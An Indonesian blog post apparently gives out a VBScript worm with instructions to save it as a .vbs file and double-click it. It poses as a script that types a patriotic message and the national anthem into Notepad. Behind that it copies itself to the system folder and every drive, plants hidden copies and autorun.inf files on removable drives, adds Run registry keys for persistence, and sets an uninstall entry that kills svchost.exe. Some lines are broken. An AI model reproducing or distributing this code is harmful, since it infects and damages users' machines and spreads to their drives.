1. Copy dan pastekan di notepad
2. Save File dengan extension .vbs ==> xxxx.vbs
3. klik 2 kali file save
dim WshShell,strWord,x,Char
set WshShell = CreateObject("Wscript.Shell")
strWord = "................................................."& Chr(13) & _
"................................................."& Chr(13) & _
"................................................."& Chr(13) & _
"................................................."& Chr(13) & _
"...................SSSS.........................."& Chr(13) & _
".................ssssssss........................"& Chr(13) & _
"................ssss sss......................."& Chr(13) & _
"...............ssss.............................."& Chr(13) & _
"...............sssss............................."& Chr(13) & _
"................sssss............................"& Chr(13) & _
".................ssssss.........................."& Chr(13) & _
"..................sssssss........................"& Chr(13) & _
"...................sssssss......................."& Chr(13) & _
"....................sssssss......................"& Chr(13) & _
"...............sss....ssssss....................."& Chr(13) & _
"...............ssssssssssss......................"& Chr(13) & _
".................ssssssss........................"& Chr(13) & _
"................................................."& Chr(13) & _
"................................................."& Chr(13) & _
"................................................."& Chr(13) & _
"Hey-Hey.............................."& Chr(13) & Chr(13) & _
"Skyler_Elite ada disini" & Chr(13) & Chr(13) & _
"Apakah Kamu Baik-Baik Saja" & Chr(13) & Chr(13) & _
"Jagalah Dirimu Ya" & Chr(13) & Chr(13) & _
"Aku Cinta Perdamaian" & Chr(13) & Chr(13) & _
"Kehidupan Ini Selalu menjadi Indah Bila Kita Bisa Berbagi" & Chr(13) & Chr(13) & _
"Banyak Banget Saudara-saudara Kita yang Pada kekurangan" & Chr(13) & Chr(13) & _
"Tapi Banyak Juga Teman-Teman Kita yang selalu menghambur-hamburkan uang" & Chr(13) & Chr(13) & _
"Anak-anak Remaja Kita Yang Suka Membohongi Orang Tua" & Chr(13) & Chr(13) & _
"Bagai Mana Bangsa Kita ini Akan maju ??" & Chr(13) & Chr(13) & _
"Survey Membuktikan bahwa Hampir 80 Persen Pelajar & Mahasiswi yang Masih Gadis Sudah Tidak Perawan" & Chr(13) & Chr(13) & _
"Lebih dari 80 Persen Rakyat bangsa Kita di Bawah Garis kemiskinan" & Chr(13) & Chr(13) & _
"Demo Terjadi dimana-mana" & Chr(13) & Chr(13) & _
"Penganguran Merajalela" & Chr(13) & Chr(13) & _
"Hai kawan-kawan terutama yang masih Muda-muda" & Chr(13) & Chr(13) & _
"Bangkitlah Kita Bersama-sama" & Chr(13) & Chr(13) & _
"Kita Bela Harkat dan Martabat Bangsa Kita" & Chr(13) & Chr(13) & _
"Marilah Kita Bersama-sama Membangun Bangsa" & Chr(13) & Chr(13) & _
"Hentikan Kebiasaan Buruk Kita" & Chr(13) & Chr(13) & _
"Siswa, Siswi, Mahasiswa atau Mahasiswi...... Dengarkanlah Kalian Semua" & Chr(13) & Chr(13) & _
"Apa yang Telah kalian perbuat" & Chr(13) & Chr(13) & _
"Sadarlah kalian semua, Mari Bersama-sama Membangun bangsa" & Chr(13) & Chr(13) & _
"Jangan Kalian cuma Bisa menyalahkan orang Tua" & Chr(13) & Chr(13) & _
"Karena Orang Tua Tidak patut untuk Disalahkan" & Chr(13) & Chr(13) & _
"Orang Tua Butuh bantuan Para pemuda" & Chr(13) & Chr(13) & _
"Lihatlah Wajah Bangsa Kita" & Chr(13) & Chr(13) & _
"Ibu Pertiwi Sedang Berduka" & Chr(13) & Chr(13) & _
"Melihat Pemuda Yang Tidak Berdaya" & Chr(13) & Chr(13) & _
"Melihat yang Tua makin Menggila" & Chr(13) & Chr(13) & _
"Bangkitlah Bangsaku....." & Chr(13) & Chr(13) & _
"Bangkitlah Bangsaku....." & Chr(13) & Chr(13) & _
"____________________________________________________________" & Chr(13) & Chr(13) & _
"Indonesia tanah airku" & Chr(13) & Chr(13) & _
"Tanah tumpah darahku" & Chr(13) & Chr(13) & _
"Disanalah aku berdiri" & Chr(13) & Chr(13) & _
"Jadi pandu ibuku" & Chr(13) & Chr(13) & _
"Indonesia kebangsaanku" & Chr(13) & Chr(13) & _
"Bangsa dan Tanah Airku" & Chr(13) & Chr(13) & _
"Marilah kita berseru" & Chr(13) & Chr(13) & _
"Indonesia bersatu" & Chr(13) & Chr(13) & _
" Hiduplah tanahku" & Chr(13) & Chr(13) & _
" Hiduplah negriku" & Chr(13) & Chr(13) & _
" Bangsaku Rakyatku semuanya" & Chr(13) & Chr(13) & _
" Bangunlah jiwanya" & Chr(13) & Chr(13) & _
" Bangunlah badannya" & Chr(13) & Chr(13) & _
" Untuk Indonesia Raya" & Chr(13) & Chr(13) & _
"Indonesia Raya" & Chr(13) & Chr(13) & _
"Merdeka Merdeka" & Chr(13) & Chr(13) & _
"Tanahku negriku yang kucinta" & Chr(13) & Chr(13) & _
" Indonesia Raya" & Chr(13) & Chr(13) & _
" Merdeka Merdeka" & Chr(13) & Chr(13) & _
" Hiduplah Indonesia Raya" & Chr(13) & Chr(13) & _
"Indonesia Raya" & Chr(13) & Chr(13) & _
"Merdeka Merdeka" & Chr(13) & Chr(13) & _
"Tanahku negriku yang kucinta" & Chr(13) & Chr(13) & _
" Indonesia Raya" & Chr(13) & Chr(13) & _
" Merdeka Merdeka" & Chr(13) & Chr(13) & _
" Hiduplah Indonesia Raya" & Chr (13) & Chr(13) & _
"----------------------------------------------------------" & Chr(13) & Chr(13) & _
""& _
" Tertanda" & Chr(13) & Chr(13) & _
" " & Chr(13) & Chr(13) & _
" " & Chr(13) & Chr(13) & _
" Skyler_Elite" & Chr(13) & Chr(13) & _
"Bye Bye.......... Mmmmuuuuaaaaaccccchhhhhh....."
WshShell.Run "notepad", 3
For x=1 to len(strWord)
Char = Mid(strWord,x,1)
Wscript.Sleep 100
WshShell.SendKeys Char
Next
Set WS = CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set FSO=CreateObject("Scripting.FileSystemObject")
For Each ActDrv In FSO.Drives
If ActDrv.DriveType = 1 And ActDrv.Path > "C:" then
Set VirusSrc = fso.OpenTextFile(WScript.ScriptFullName)
MyCode = VirusSrc.ReadAll
Target = ActDrv & "Skyler_Elite.vbs"
Set X = fso.CreateTextFile(Target,2,True)
X.Write MyCode
X.Close
end if
Next
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set SysPath = FSO.GetSpecialFolder(1)
FSO.CopyFile WScript.ScriptFullname, SysPath & "\Skyler_Elite.vbs"
FSO.CopyFile "C:WINDOWS\system32\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.Dat", "C:\Help.cfg"
FSO.CopyFile "C:\WinNT.Dat", "C:\WinNT.DAT"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\run\Geography TX 1.0 NT", "C:\Winnt\System32\Skyler_Elite.vbs"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\run\Geography TX 1.0 XP", "C:\Windows\System32\Skyler_Elite.vbs"
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\uninstall\Skyler_Elite\DisplayName", "Geography TX-A"
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\uninstall\Skyler_Elite\UninstallString", "taskkill /f /im svchost.exe"
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\RegisteredOrganization", "Skyler_Elite"
WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\RegisteredOwner", "Skyler_elite"
WS.RegWrite "HKLM\Software\Microsoft\WindowsNT\Currentversion\RegisteredOrganization", "Skyler_Elite"
WS.RegWrite "HKLM\Software\Microsoft\WindowsNT\Currentversion\RegisteredOwner", "Skyler_elite"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked By: Skyler_elite"
set oTS = oFSO.CreateTextFile(sDest, True)
oTS.Write sOut
oTS.Close
set oTS = Nothing
set oFSO = Nothing
FSO.CopyFile "C:\WinNT.dat", "g:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "H:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "I:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "J:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "K:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "L:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "M:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "N:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "O:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "P:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "Q:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "R:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "S:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "T:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "U:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "V:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "W:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "X:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "Y:\Skyler_Elite.vbs"
FSO.CopyFile "C:\WinNT.dat", "Z:\Skyler_Elite.vbs"
Set Fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set Skyler_Elite = Fso.GetFile(WScript.ScriptFullName)
Skyler_Elite.Copy (Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs")
Set Drives = Fso.Drives
Skyler_Elitemsg = "C:\windows\Skyler_Elite.html"
Set msg = Fso.Createtextfile(Skyler_Elitemsg, True)
msg.writeline tsu1 & tsu2 & tsu3 & tsu4 & tsu5 & tsu6 & tsu7
msg.Close
For Each Drive In Drives
If Drive.isready Then
On Error Resume Next
Skyler_Elite.Copy(drive&"\Skyler_Elite.vbs")
SearchWinZip Drive & "\"
End If
Next
on error resume next
dim mysource1,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=WScript.exe Skyler_Elite.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource1=mysource1&text.readline
mysource1=mysource1 & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\Skyler_Elite.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\Skyler_Elite.vbs",2,true)
tf.write mysource1
tf.close
set tf = fs.getfile(winpath & "\Skyler_Elite.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\Skyler_Elite.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\Skyler_Elite.vbs",2,true)
tf.write mysource1
tf.close
set tf=fs.getfile(flashdrive.path &"\Skyler_Elite.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\ms32dll",winpath&"\Skyler_Elite.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Skyler_Elite"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
WScript.sleep 20
end if
loop while check<>1
set sd = createobject("WScript.shell")
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname
Post a Comment Blogger Facebook